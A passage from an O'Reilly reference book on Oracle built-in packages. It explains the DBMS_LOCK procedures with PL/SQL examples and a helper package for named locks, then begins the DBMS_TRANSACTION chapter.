lockname | Name of the lock
lockhandle | Unique handle to lock by name
expiration_secs | Length of time to leave lock allocated

The program does not raise any package exceptions.

4.1.2.1.1 Restrictions

Note the following restrictions on calling ALLOCATE_UNIQUE:

  • Lock names can be up to 128 characters in length and are case-sensitive.

  • Lock names must not begin with "ORA$", as these names are reserved for use by Oracle Corporation.

  • The ALLOCATE_UNIQUE procedure always performs a COMMIT, so it cannot be called from a database trigger.

4.1.2.1.2 Example

The following function returns the lockhandle of a specific named lock. It calls ALLOCATE_UNIQUE only if the lockhandle has not already been determined, and avoid the COMMIT unless it is necessary. The function manipulates global variables and thus needs to be included in a PL/SQL package.

PACKAGE BODY printer_access
IS
   /* global variables for lock name and handle */
   printer_lockname  VARCHAR2(128) := 'printer_lock';
   printer_lockhandle  VARCHAR2(128);

   FUNCTION get_printer_lockhandle
   RETURN VARCHAR2
   IS
   BEGIN
      IF printer_lockhandle IS NULL
      THEN
         DBMS_LOCK.ALLOCATE_UNIQUE
            (lockname => printer_lockname
            ,lockhandle => printer_lockhandle);
      END IF;

      RETURN printer_lockhandle;
   END get_printer_lockhandle;

END printer_access;

As illustrated in the example, it is a good idea to call ALLOCATE_UNIQUE only once for any given lockname per session. This is why the function stashes the lockhandle in the global variable, printer_lockhandle, and calls ALLOCATE_UNIQUE only if this global has not been initialized. There are two reasons for using this technique: efficiency and avoidance of extra COMMITs. Remember that ALLOCATE_UNIQUE will always return the same handle for a given lockname and that it always performs a COMMIT. Thus, best practice for using DBMS_LOCK includes calling ALLOCATE_UNIQUE only once per named lock.

Locks allocated using ALLOCATE_UNIQUE can be viewed in the Oracle data dictionary via the DBMS_LOCK_ALLOCATED view.

It is good practice to avoid the possibility of lockname conflicts between applications by adopting standard naming conventions for locknames. Just as Oracle reserves names that begin with "ORA$", you may want to prefix locknames with your own company and application identifier string.

4.1.2.2 The DBMS_LOCK.REQUEST function

The REQUEST function is used to acquire a lock in the mode specified by the lockmode parameter. If the lock cannot be acquired in the requested mode within the specified time, the function call completes with a nonzero return value (see the parameter table).

The REQUEST function is overloaded on the first parameter, which is used to identify the lock by either an INTEGER identifier or by a VARCHAR2 lockhandle. The release_on_commit parameter indicates whether the lock should persist across RDBMS transactions or be automatically released upon COMMIT or ROLLBACK. The headers for this program, corresponding to each type, are as follows:

FUNCTION DBMS_LOCK.REQUEST
    (id IN INTEGER
    ,lockmode IN INTEGER DEFAULT X_MODE
    ,timeout IN INTEGER DEFAULT MAXWAIT
    ,release_on_commit IN BOOLEAN DEFAULT FALSE)
RETURN INTEGER;

FUNCTION DBMS_LOCK.REQUEST
    (lockhandle IN VARCHAR2
    ,lockmode IN INTEGER DEFAULT X_MODE
    ,timeout IN INTEGER DEFAULT MAXWAIT
    ,release_on_commit IN BOOLEAN DEFAULT FALSE)
RETURN INTEGER;

Parameters for this function are summarized in the following table.

Parameter | Description
id | Numeric identifier of the lock
lockhandle | Handle for lock returned by DBMS_LOCK.ALLOCATE_UNIQUE
lockmode | Locking mode requested for lock
timeout | Time in seconds to wait for successful conversion
release_on_commit | If TRUE, release lock automatically on COMMIT or ROLLBACK

The following table summarizes the return values of the function.

Return Value | Description
0 | Success
1 | Timed out
2 | Deadlock
3 | Parameter error
4 | Do not own lock; cannot convert
5 | Illegal lockhandle

The program does not raise any package exceptions.

4.1.2.2.1 Restrictions

User-defined lock identifiers must be in the range 0 to 1073741823. Lock identifiers in the range 2000000000 to 2147483647 are reserved for use by Oracle Corporation.

4.1.2.2.2 Example

The following procedure calls the REQUEST function to get exclusive access to a lock designated to serialize access to a printer by Oracle sessions. It uses the get_printer_lockhandle function (see the example for the ALLOCATE_UNIQUE procedure) to identify the correct value for the lockhandle parameter.

PROCEDURE lock_printer
   (return_code_OUT OUT INTEGER)
IS
   /* initialize variable with desired lockhandle */
   temp_lockhandle printer_lockhandle%TYPE := get_printer_lockhandle;

   call_status  INTEGER;
BEGIN

   /*
   || lock in exclusive mode, wait for up to 5 seconds
   */
   call_status := DBMS_LOCK.REQUEST
                     (lockhandle => temp_lockhandle
                     ,lockmode => DBMS_LOCK.x_mode
                     ,timeout => 5
                     ,release_on_commit => TRUE);

   return_code_OUT := call_status;
END lock_printer;

It is safest to use the form of REQUEST that identifies the lock by a lockhandle (returned by ALLOCATE_UNIQUE). This minimizes the potential for inadvertent use of the same lock by different applications for different purposes, which is possible when locks are identified by integer values chosen by the application.

Sessions connected to Oracle using the multithreaded server configuration will not be released from their shared server until all held locks are released. Thus, be careful of specifying FALSE for the release_on_commit parameter in MTS (multithreaded server) environments, as holding locks for long periods could have a negative impact on MTS efficiency.

Be sure that distributed transactions specify TRUE for the release_on_commit parameter. If a distributed transaction does not release locks after COMMIT, it is possible for a distributed deadlock to occur, which will be undetectable by either of the databases involved.

When two sessions request locks with modes resulting in a deadlock, this is detected by Oracle, and one of the sessions is notified of the deadlock status.

4.1.2.3 The DBMS_LOCK.CONVERT function

The CONVERT function is used to convert a previously acquired lock to the mode specified by the lockmode parameter. If the mode conversion cannot be granted within the specified time, the function call completes with a nonzero return value (see the following parameter table). CONVERT is overloaded on the first parameter, which is used to identify the lock by either an INTEGER identifier or a VARCHAR2 lockhandle. The headers for this program, corresponding to each type, follow:

FUNCTION DBMS_LOCK.CONVERT
    (id IN INTEGER
    ,lockmode IN INTEGER
    ,timeout IN NUMBER DEFAULT MAXWAIT)
RETURN INTEGER;

FUNCTION DBMS_LOCK.CONVERT
    (lockhandle IN VARCHAR2
    ,lockmode IN INTEGER
    ,timeout IN NUMBER DEFAULT MAXWAIT)
RETURN INTEGER;

Parameters for this program are summarized in the following table.

Parameter | Description
id | Numeric identifier of the lock
lockhandle | Handle for lock returned by ALLOCATE_UNIQUE
lockmode | Locking mode to which to convert the lock
timeout | Time in seconds to wait for successful conversion

The return values for this function are summarized in the following table.

Return Value | Description
0 | Success
1 | Timed out
2 | Deadlock
3 | Parameter error
4 | Do not own lock, cannot convert
5 | Illegal lockhandle

The program does not raise any package exceptions.

4.1.2.3.1 Restrictions

User-defined lock identifiers must be in the range 0 to 1073741823. Lock identifiers in the range 2000000000 to 2147483647 are reserved for use by Oracle Corporation.

4.1.2.3.2 Example

The following anonymous PL/SQL block converts a previously acquired lock to null mode, reporting success or failure to the screen:

DECLARE
   call_status INTEGER;
BEGIN
   /* convert lock 9999 down to null mode with no wait */
   call_status := DBMS_LOCK.CONVERT(9999,DBMS_LOCK.nl_mode,0);

   IF call_status = 0
   THEN
      DBMS_OUTPUT.PUT_LINE('SUCCESS');
   ELSE
      DBMS_OUTPUT.PUT_LINE('FAIL, RC = '||TO_CHAR(call_status));
   END IF;
END;

See the discussion in the "Section 4.1.2.2.2, "Example"" section for the Section 4.1.2.2, "The DBMS_LOCK.REQUEST function"; all of that discussion also applies to CONVERT.

4.1.2.4 The DBMS_LOCK.RELEASE function

The RELEASE function releases a previously acquired lock. RELEASE is overloaded on the first parameter, which is used to identify the lock by either an INTEGER identifier or a VARCHAR2 lockhandle. The program headers for each corresponding type follow:

FUNCTION DBMS_LOCK.RELEASE
    (id IN INTEGER)
RETURN INTEGER;

FUNCTION DBMS_LOCK.RELEASE
    (lockhandle IN VARCHAR2)
RETURN INTEGER;

Parameters are summarized in the following table.

Parameter | Description
id | Numeric identifier of the lock
lockhandle | Handle for lock returned by ALLOCATE_UNIQUE

The return values for this function are summarized in the following table.

Return Value | Description
0 | Success
3 | Parameter error
4 | Do not own lock; cannot release
5 | Illegal lockhandle

The program does not raise any package exceptions.

4.1.2.4.1 Restrictions

User-defined lock identifiers must be in the range 0 to 1073741823. Lock identifiers in the range 2000000000 to 2147483647 are reserved for use by Oracle Corporation.

4.1.2.4.2 Example

The following procedure calls the RELEASE function to relinquish control of the printer lock (see also the example for the REQUEST function):

PROCEDURE release_printer
   (return_code_OUT OUT INTEGER)
IS
   /* initialize variable with desired lockhandle */
   temp_lockhandle printer_lockhandle%TYPE := get_printer_lockhandle;

   call_status  INTEGER;
BEGIN

   /*
   || release the printer lock
   */
   call_status := DBMS_LOCK.RELEASE
                     (lockhandle => temp_lockhandle);

   return_code_OUT := call_status;
END release_printer;

It is good practice to release locks as soon as possible. Doing so minimizes the potential for unnecessary wait times or deadlocks in applications where concurrent access to resources is serialized using DBMS_LOCK.

4.1.2.5 The DBMS_LOCK.SLEEP procedure

The SLEEP procedure suspends the session for the number of seconds specified in the seconds parameter. Sleep periods can be specified with accuracy down to the hundredth of a second (e.g., 1.35 and 1.29 are recognized as distinct sleep times). Here's the header for this program:

PROCEDURE DBMS_LOCK.SLEEP
    (seconds IN NUMBER);

4.1.2.5.1 Exceptions

This program does not raise any package exceptions.

WARNING: The following nasty Oracle exception was raised on Windows NT when the SLEEP procedure was called with a NULL value for seconds: ORA-00600: internal error code, arguments: [15454], [0], [ ], [ ], [ ], [ ], [ ], [ ].

4.1.2.5.2 Restrictions

Do not specify a null value for the seconds parameter; this may result in an ORA-00600 error, as noted previously.

4.1.2.5.3 Example

The following SQL*Plus script displays a screen message and pauses for ten seconds before continuing:

prompt **************************************
prompt * This is a very important message
prompt * ************************************

BEGIN
   DBMS_LOCK.SLEEP(10);
END;
/

Applications using resources to which concurrent access is restricted may need to try again later if the resource is busy. The SLEEP procedure provides a mechanism for including low-overhead wait times into PL/SQL programs. After waiting, an application can retry the operation that failed to acquire the busy resource.

4.1.3 Tips on Using DBMS_LOCK

In this section I've pulled together a number of best practices for using the DBMS_LOCK package.

4.1.3.1 Named locks or lock ids?

Oracle provides two methods of identifying and manipulating user locks: integer lock identifiers and handles for named locks. Using names and lockhandles to identify locks is considered safer than using integer identifiers directly because naming standards can be adopted to virtually guarantee that different applications will not use the same lock for different purposes. Therefore, best practices for using DBMS_LOCK include the use of named locks and lockhandles.

4.1.3.2 Issues with named locks

There are a couple of drawbacks to using named locks that are worth pointing out. In particular:

  • Named locks are recorded in the catalog, and thus may be slower.

  • The DBMS_LOCK.ALLOCATE_UNIQUE procedure issues a COMMIT.

  • Applications need to keep track of lockhandles for each named lock used.

It is worth investigating these drawbacks and developing techniques to minimize their impact, thus further encouraging the use of named locks.

4.1.3.3 Performance of named locks

We can investigate the performance penalty for using named locks, and quantify that penalty in a relatively straightforward manner. Consider the following PL/SQL script:

/* Filename on companion disk:  lock1.sql */*
set timing on
set serveroutput on size 100000

DECLARE

   lockname VARCHAR2(30) := 'OPBIP_TEST_LOCK_10';
   lockhandle VARCHAR2(128);
   lockid  INTEGER := 99999;

   call_status  INTEGER;
   timer NUMBER;

BEGIN

   /*
   || timed test using lockhandles
   */
   timer := DBMS_UTILITY.GET_TIME;
   DBMS_LOCK.ALLOCATE_UNIQUE(lockname,lockhandle);
   FOR i IN 1..10000
   LOOP
      call_status := DBMS_LOCK.REQUEST(lockhandle,timeout=>0);
      call_status := DBMS_LOCK.RELEASE(lockhandle);
   END LOOP;
   DBMS_OUTPUT.PUT_LINE('Using lockhandles: '||
      TO_CHAR(ROUND((DBMS_UTILITY.GET_TIME-timer)/100,2)) ||' secs');

   /*
   || timed test using lockids
   */
   timer := DBMS_UTILITY.GET_TIME;
   FOR i IN 1..10000
   LOOP
      call_status := DBMS_LOCK.REQUEST(lockid,timeout=>0);
      call_status := DBMS_LOCK.RELEASE(lockid);
   END LOOP;
   DBMS_OUTPUT.PUT_LINE('Using lockids: '||
      TO_CHAR(ROUND((DBMS_UTILITY.GET_TIME-timer)/100,2)) ||' secs');

END;

The PL/SQL block reports on the elapsed times to request and release a lock 10,000 times using either a lockhandle or an integer lock identifier. The test yielded the following results on a Personal Oracle7 database with no other activity:

SQL> @l2
Using lockhandles: 9.57 secs
Using lockids: 3.02 secs

PL/SQL procedure successfully completed.

 real: 12740
SQL> spool off

These results confirm that use of lockhandles is significantly slower than use of lock identifiers. However, the results also indicate that the overhead of named locks was less than one-thousandth of a second per usage. Thus, the performance impact of using named locks is negligible and is probably not a legitimate concern for most applications.

4.1.3.4 ALLOCATE_UNIQUE drawbacks

The other issues mentioned with named locks are usage related. The ALLOCATE_UNIQUE procedure needs to be called to identify a lockhandle for each named lock. This procedure issues a COMMIT, which presents some usability issues. For one, the procedure cannot be called from a database trigger, so using named locks from a database trigger requires that the lockhandle be acquired outside of the trigger and saved for use in the trigger. Another problem is the COMMIT itself: an application may want to utilize a named lock but not necessarily COMMIT the current transaction. Thus, it is desirable when using named locks to limit the number of calls to ALLOCATE_UNIQUE to exactly one call per named lock used.

4.1.3.5 Optimizing named locks

One way to achieve the objective of minimizing calls to ALLOCATE_UNIQUE is to use private package global variables to store lockhandles for each named lock. A function that will return the lockhandle can then be written, calling ALLOCATE_UNIQUE only if the lockhandle has not been previously identified. This technique is illustrated as follows:

PACKAGE BODY print_pkg
IS
   /* private globals for lock identification */
   printer_lockname  VARCHAR2(128) := 'printer_lock';
   printer_lockhandle  VARCHAR2(128);

   FUNCTION get_printer_lockhandle
   RETURN VARCHAR2
   IS
   BEGIN
      IF printer_lockhandle IS NULL
      THEN
         DBMS_LOCK.ALLOCATE_UNIQUE
            (lockname => printer_lockname
            ,lockhandle => printer_lockhandle);
      END IF;

      RETURN printer_lockhandle;
   END get_printer_lockhandle;

END print_pkg;

Using this technique ensures that the ALLOCATE_UNIQUE procedure is called only once per session requiring use of the printer lock. The lock can even be used in a database trigger if the function get_printer_lockhandle has been called prior to the triggering event.

One drawback to this technique is code redundancy: each named lock used by an application requires adding a specific package global variable for the lockhandle and an associated function to return it. Referencing a new named lock in an application involves adding a nontrivial amount of code before it can be used.

4.1.3.6 REQUEST or CONVERT?

Another usability issue with DBMS_LOCK (not specific to named locks): applications using multiple lock modes need to have intelligence about whether to call the REQUEST function or the CONVERT function. If the user has requested and received a lock in a specific mode, then that mode can only be changed by calling CONVERT. On the other hand, a lock conversion can only take place if it is preceded by a successful call to REQUEST. Getting it right can mean developing code that checks and tracks return codes from the calls to these two procedures.

4.1.4 DBMS_LOCK Examples

In response to the usability issues described in the previous section, I have developed a utility package called dblock to simplify, and consequently encourage, the use of named locks in PL/SQL applications.

4.1.4.1 The dblock package

The dblock package specification follows:

/* Filename on on companion disk: dblock.sql */*
CREATE OR REPLACE PACKAGE dblock
   /*
   || Adds value to DBMS_LOCK by allowing easier manipulation
   || of named locks. Calling programs use lock names only,
   || corresponding lockhandles are automatically identified,
   || used and saved for subsequent use.
   ||
   ||
   || Author:  John Beresniewicz, Savant Corp
   ||
   || 10/26/97: added expiration_secs_IN to lockhandle
   || 10/21/97: added release
   || 10/21/97: added dump_lockhandle_tbl
   || 10/17/97: created
   ||
   || Compilation Requirements:
   ||
   || EXECUTE on DBMS_LOCK
   || EXECUTE on DBMS_SESSION
   ||
   || Execution Requirements:
   ||
   */
AS
   /* variables to anchor other variables */
   lockname_var  VARCHAR2(128);
   lockhandle_var VARCHAR2(128);

   /*
   || returns TRUE if a COMMIT has taken place between
   || subsequent calls to the function
   || NOTE: returns TRUE on first call in session
   */
   FUNCTION committed_TF RETURN BOOLEAN;

   /*
   || returns lockhandle for given lockname, only calls
   || DBMS_LOCK.ALLOCATE_UNIQUE if lockhandle has not been
   || previously determined
   */
   FUNCTION lockhandle
      (lockname_IN IN lockname_var%TYPE
      ,expiration_secs_IN IN INTEGER := 864000)
   RETURN lockhandle_var%TYPE;

   /*
   || returns TRUE if named lock is acquired in mode
   || specified
   */
   FUNCTION get_lock_TF
      (lockname_IN IN lockname_var%TYPE
      ,mode_IN IN INTEGER := DBMS_LOCK.x_mode
      ,timeout_IN IN INTEGER := 1
      ,release_on_commit_TF IN BOOLEAN := FALSE)
   RETURN BOOLEAN;

   /* releases named lock */
   PROCEDURE release (lockname_IN IN lockname_var%TYPE);

   /* print contents of lockhandle_tbl for debugging */
   PROCEDURE dump_lockhandle_tbl;

END dblock;

The dblock programs allow the user to identify and acquire locks by name only. Lockhandles for each named lock are managed within the package, transparent to the application. The package associates locknames with lockhandles by using a private global PL/SQL table called lockhandle_tbl. The table is defined as follows:

   /* rectype to pair handles with names */
   TYPE handle_rectype IS RECORD
      (name   lockname_var%TYPE
      ,handle lockhandle_var%TYPE
      );

   /* table to store lockhandles by name */
   TYPE handle_tbltype IS TABLE OF handle_rectype
      INDEX BY BINARY_INTEGER;

   lockhandle_tbl handle_tbltype;

4.1.4.1.1 The lockhandle function

The lockhandle function takes a lockname as an IN parameter and returns the associated lockhandle. If the lockhandle has already been identified and stored in the lockhandle_tbl table, it is returned directly. Otherwise, DBMS_LOCK.ALLOCATE_UNIQUE is called to determine the lockhandle, which is then stored in lockhandle_tbl and is also returned to the caller. Here is the body of lockhandle:

/* Filename on companion disk: dblock.sql */*
   FUNCTION lockhandle
      (lockname_IN IN lockname_var%TYPE
      ,expiration_secs_IN IN INTEGER := 864000)
   RETURN lockhandle_var%TYPE
   IS
      call_status INTEGER;
      temp_lockhandle  lockhandle_var%TYPE;

      temp_index  BINARY_INTEGER;

   BEGIN
      /*
      || if lockhandle_tbl empty must call ALLOCATE_UNIQUE
      */
      IF lockhandle_tbl.COUNT = 0
      THEN

         DBMS_LOCK.ALLOCATE_UNIQUE
            (lockname => lockname_IN
            ,lockhandle => temp_lockhandle
            ,expiration_secs => expiration_secs_IN);

         lockhandle_tbl(1).handle := temp_lockhandle;
         lockhandle_tbl(1).name := lockname_IN;

      /*
      || check lockhandle_tbl for matching lockname
      */
      ELSE
         FOR i IN lockhandle_tbl.FIRST..lockhandle_tbl.LAST
         LOOP
            IF lockhandle_tbl(i).name = lockname_IN
            THEN
               temp_lockhandle := lockhandle_tbl(i).handle;
            END IF;
         END LOOP;
      END IF;

      /*
      || if temp_lockhandle still null, call ALLOCATE_UNIQUE
      || and load entry into lockhandle_tbl
      */
      IF temp_lockhandle IS NULL
      THEN
         DBMS_LOCK.ALLOCATE_UNIQUE
            (lockname => lockname_IN
            ,lockhandle => temp_lockhandle);

         /*
         || add to end of lockhandle_tbl
         */
         temp_index := lockhandle_tbl.LAST+1;
         lockhandle_tbl(temp_index).handle := temp_lockhandle;
         lockhandle_tbl(temp_index).name := lockname_IN;

      END IF;

      RETURN temp_lockhandle;
   END lockhandle;

The lockhandle function alone is enough to make using named locks much easier. It relieves the programmer of having to create lockhandle variables for each named lock and also guarantees that the ALLOCATE_UNIQUE procedure is called only once per named lock. New named locks can be used immediately without coding supporting routines, as these are handled generically in the function. Furthermore, the lockhandle function can be invoked directly in calls to REQUEST or CONVERT. In the following procedure, the printer_lockname variable holds the name of a lock being used to serialize access to a printer:

   PROCEDURE get_printer_lock
      (lock_status_OUT OUT INTEGER)
   IS
   BEGIN
      lock_status_OUT := DBMS_LOCK.REQUEST
                            (dblock.lockhandle(printer_lockname));
   END get_printer_lock;

4.1.4.1.2 get_lock_TF function

Applications using DBMS_LOCK usually must check return values from calls to the REQUEST or CONVERT functions to determine if access to the locked resource has been acquired. The dblock package includes a function called get_lock_TF, which takes a lockname and lock mode as IN parameters and returns the Boolean value TRUE if the named lock has been acquired in the desired mode. Using get_lock_TF, we can write code like the following:

   IF dblock.get_lock_TF
         (printer_lockname,DBMS_LOCK.x_mode)
   THEN
      /* invoke print routine here */
   ELSE
      /* cannot print, tell user to try later */
   END IF;

Code like this is far easier to understand and maintain than code that calls DBMS_LOCK programs directly. All the complexity of using DBMS_LOCK is eliminated; the program merely calls get_lock_TF and proceeds directly to appropriate logic based on the return value. Here is the body of get_lock_TF:

/* Filename on companion disk:  dblock.sql */*
   FUNCTION get_lock_TF
      (lockname_IN IN lockname_var%TYPE
      ,mode_IN IN INTEGER := DBMS_LOCK.x_mode
      ,timeout_IN IN INTEGER := 1
      ,release_on_commit_TF IN BOOLEAN := FALSE)
   RETURN BOOLEAN
   IS
      call_status INTEGER;

      /* handle for the named lock */
      temp_lockhandle lockhandle_var%TYPE := lockhandle(lockname_IN);

   BEGIN
      call_status := DBMS_LOCK.REQUEST
                        (lockhandle => temp_lockhandle
                        ,lockmode => mode_IN
                        ,timeout => timeout_IN
                        ,release_on_commit => release_on_commit_TF
                        );
      /*
      || if lock already owned, convert to requested mode
      */
      IF call_status = 4
      THEN
         call_status := DBMS_LOCK.CONVERT
                           (lockhandle => temp_lockhandle
                           ,lockmode => mode_IN
                           ,timeout => timeout_IN
                           );
      END IF;

      RETURN (call_status = 0);
   END get_lock_TF;

Notice that get_lock_TF first calls REQUEST and then CONVERT if the lock is already owned. This relieves the programmer of yet another bit of housekeeping, and the return value accurately reflects whether the lock is owned in the requested mode. The temp_lockhandle variable is used in the calls to DBMS_LOCK programs to avoid calling the lockhandle function more than once.

4.1.4.1.3 The committed_TF and release functions

The dblock package also includes a procedure called release, which releases a named lock, and a function called committed_TF. The latter demonstrates using the release_on_commit parameter of the REQUEST function to determine whether a COMMIT has taken place in the session. The body of committed_TF looks like this:

 /* Filename on companion disk:  dblock.sql */*
 /* used by committed_TF, unique to each session */
   commit_lockname  lockname_var%TYPE :=
                        DBMS_SESSION.UNIQUE_SESSION_ID;

   FUNCTION committed_TF RETURN BOOLEAN
   IS
      call_status INTEGER;
   BEGIN
      /* get unique lock, expire in one day */
      call_status := DBMS_LOCK.REQUEST
                     (lockhandle =>
                     lockhandle(commit_lockname,86400)
                     ,lockmode => DBMS_LOCK.x_mode
                     ,timeout => 0
                     ,release_on_commit => TRUE);

      RETURN (call_status = 0);
   END committed_TF;

The committed_TF function uses a named lock called commit_lockname that is unique to each session, having been initialized by calling DBMS_SESSION.UNIQUE_SESSION_ID. It then calls DBMS_LOCK.REQUEST to acquire an exclusive lock on commit_lockname, making sure to specify TRUE for the release_on_commit parameter. Once the lock has been acquired initially, the success of subsequent calls indicates that the lock has been released, and thus a COMMIT (or ROLLBACK) has taken place. The function is probably not that useful in practice, but it makes a nice academic exercise.

4.1.4.2 Using locks to signal service availability

One way in which DBMS_LOCK can be usefully employed is to indicate the availability of service programs to database sessions. The basic steps are quite simple:

  1. Assign specific locks to the server and/or each service provided.

  2. The server process holds the lock(s) in exclusive mode when services are available.

  3. Client programs request the lock to determine service availability.

To make this more concrete, the following code fragments might be part of a package used to coordinate access to a computation server called calcman:

PACKAGE calcman
IS
   /* the actual service provider program */
   PROCEDURE calcman_driver;

   /* function called by clients to determine availability */
   FUNCTION calcman_available RETURN BOOLEAN;

END calcman;

PACKAGE BODY calcman
IS
   /* lock name used to flag service availability */
   calcman_lockname  VARCHAR2(100):= 'CALCMAN_LOCK';

   PROCEDURE calcman_driver
   IS
   BEGIN
      /*
      || get the special lock in exclusive mode
      */
      IF dblock.get_lock_TF
            (lockname_IN => calcman_lockname
            ,mode_IN => DBMS_LOCK.x_mode
            ,timeout_IN => 1
            ,release_on_commit_TF => FALSE)
      THEN
         /*
         || execute the service loop here, which probably
         || involves listening on a database pipe for
         || service requests and sending responses on pipes
         */
         /*
         || loop forever and process calc requests
         */
         WHILE NOT terminate_TF
         LOOP
            receive_unpack_calc_request
               (timeout_IN => DBMS_PIPE.maxwait
               ,request_rec_OUT=> request_rec
               ,return_code_OUT => temp_return_code);
            IF temp_return_code != 0
            THEN
               DBMS_PIPE.PURGE(request_pipe);
            ELSE
               process_request(request_rec);
            END IF;
         END LOOP;
      ELSE
         /* service is already running in another process, exit */
         RETURN;
      END IF:
   END calcman_driver;

   FUNCTION calcman_available RETURN BOOLEAN
   IS
      got_lock  BOOLEAN;
   BEGIN
      got_lock := dblock.get_lock_TF
                     (lockname => calcman_lockname
                     ,mode_IN => DBMS_LOCK.sx_mode
                     ,timeout_IN => 0
                     ,release_on_commit_TF => TRUE);

      /*
      || do not hold lock, this could conflict with
      || starting service
      */
      dblock.release(calcman_lockname);

      /* failure to get lock indicates server available */
      RETURN NOT got_lock;
   END calcman_available;

END calcman;

The calcman_driver procedure grabs and holds the lock as long as it is executing. If the lock is not available within one second, the procedure is already running in another session and exits silently in the current session. Thus, the lock ensures that only one calcman_driver will be executing at any time. Note the importance of not releasing the lock at COMMIT, ensuring that the lock is held as long as the service process is alive. The service can make itself unavailable at any time by simply releasing the lock.

The service that calcman_driver provides is not specified in the previous code fragments. It could be a complex calculation requiring large PL/SQL tables for which the overhead of having all users execute the calculation individually is too great. Or it could be connected to an external service routine of some kind. A fuller discussion of how to implement such service procedures using database pipes can be found in Chapter 3, Intersession Communication.

Client programs call the calcman_available function to determine whether the server is executing and providing its computation services. The function attempts to get the lock and, if it succeeds, this indicates that the service is not available. The lock is requested in shared mode exclusive; as a consequence, concurrent calls to the get_lock_TF function from different sessions may all succeed and indicate unavailability. If the lock is requested in exclusive mode, there is a chance that simultaneous execution of the function by two users could falsely indicate to one user that the service is available. The calcman_available function also releases the lock immediately to keep it from interfering with the calcman_driver program, which is attempting to secure the lock.

Previous: 3.2 DBMS_ALERT: Broadcasting Alerts to Users | Oracle Built-in Packages | Next: 4.2 DBMS_TRANSACTION: Interfacing to SQL Transaction Statements
3.2 DBMS_ALERT: Broadcasting Alerts to Users | Book Index | 4.2 DBMS_TRANSACTION: Interfacing to SQL Transaction Statements
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.2 DBMS_TRANSACTION: Interfacing to SQL Transaction Statements

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

4.2 DBMS_TRANSACTION: Interfacing to SQL Transaction Statements

The DBMS_TRANSACTION package provides a programmatic interface to a number of the SQL transaction statements. The majority of the DBMS_TRANSACTION programs have SQL equivalents that you can utilize directly from within SQL. For this reason, developers and DBAs may choose to use the direct SQL equivalents rather than these procedures. A number of other procedures and functions have no equivalents, however, and nicely abstract the PL/SQL programmer or database administrator from the internal details managed by the database.

4.2.1 Getting Started with DBMS_TRANSACTION

The DBMS_TRANSACTION package is created when the Oracle database is installed. The dbmsutil.sql script (found in the built-in packages source code directory, as described in Chapter 1) contain the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS_TRANSACTION for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

4.2.1.1 DBMS_TRANSACTION programs

Table 4.4 lists the procedures and functions available through DBMS_TRANSACTION, along with their SQL equivalents (if applicable).

Table 4.4: DBMS_TRANSACTION Programs
Name | Description | Use in SQL?
ADVISE_COMMIT | Executes the equivalent of the ALTER SESSION ADVISE COMMIT command. | Yes
ADVISE_NOTHING | Executes the equivalent of the ALTER SESSION ADVISE NOTHING command. | Yes
ADVISE_ROLLBACK | Executes the equivalent of the ALTER SESSION ADVISE ROLLBACK command. | Yes
BEGIN_DISCRETE_TRANSACTION | Sets the discrete transaction mode. | No
COMMIT | Executes the equivalent of the COMMIT command. | Yes
COMMIT_COMMENT | Executes the equivalent of the COMMIT COMMENT command. | Yes
COMMIT_FORCE | Executes the equivalent of the COMMIT FORCE command. | Yes
LOCAL_TRANSACTION_ID | Returns a local (to instance) unique identfier for the current transaction. | No
PURGE_MIXED | Deletes information on a mixed outcome transaction (a possible scenario with two-phase commit). | No
PURGE_LOST_DB_ENTRY | Removes "lost database entries" otherwise used to control recovery in pending two-phase commit operations. | No
READ_ONLY | Executes the equivalent of the SET TRANSACTION READ ONLY command. | Yes
READ_WRITE | Executes the equivalent of the SET TRANSACTION READ WRITE command. | Yes
ROLLBACK | Executes the equivalent of the ROLLBACK command. | Yes
ROLLBACK_FORCE | Executes the equivalent of the ROLLBACK FORCE command. | Yes
ROLLBACK_SAVEPOINT | Executes the equivalent of the ROLLBACK TO command. | Yes
SAVEPOINT | Executes the equivalent of the SAVEPOINT command. | Yes
STEP_ID | Returns a local (to local transaction) unique positive integer that orders the DML operations of a transaction. | No
SEGMENT | Executes the equivalent of the SET TRANSACTION USE ROLLBACK SEGMENT command. | Yes

4.2.1.2 DBMS_TRANSACTION exceptions

The DBMS_TRANSACTION package gives names (using the EXCEPTION_INIT pragma) to Oracle exceptions -8175 and -8176 as follows:

Name | Number | Description.
DISCRETE_TRANSACTION_FAILED | -8175 | Discrete transaction restriction violated. An attempt was made to perform an action that is not currently supported in a discrete transaction. Roll back the transaction and retry it as a normal transaction.
CONSISTENT_READ_FAILURE | -8176 | Cannot continue consistent read for the table/index -- no undo records. Oracle encountered an operation that does not generate undo records. Retry the operation with a different snapshot time. If an index is involved, retry the operation without using the index.

These exceptions may be raised in calls to the BEGIN_DISCRETE_TRANSACTION procedure.

4.2.2 Advising Oracle About In-Doubt Transactions

The DBMS_TRANSACTION advise procedures (ADVISE_COMMIT, ADVISE_NOTHING, and ADVISE_ROLLBACK) specify what in-doubt transaction advice is sent to remote databases during distributed transactions. This advice appears on the remote database in the ADVICE column of the DBA_2PC_PENDING data dictionary view if the distributed transaction becomes in doubt (i.e., a network or machine failure occurs during the commit). The remote database administrator can then review the DBA_2PC_PENDING information and manually commit or roll back in-doubt transactions using the FORCE clause of the COMMIT or ROLLBACK commands.

Each call to an ADVISE procedure remains in effect for the duration of that connection or until a different ADVISE procedure call is made. This allows you to send different advice to various remote databases.

4.2.2.1 The DBMS_TRANSACTION.ADVISE_ROLLBACK, and ADVISE_COMMIT procedures

Here are the headers for the three advise procedures:

PROCEDURE DBMS_TRANSACTION.ADVISE_ROLLBACK;

PROCEDURE DBMS_TRANSACTION.ADVISE_NOTHING;

PROCEDURE DBMS_TRANSACTION.ADVISE_COMMIT;

4.2.2.1.1 Example

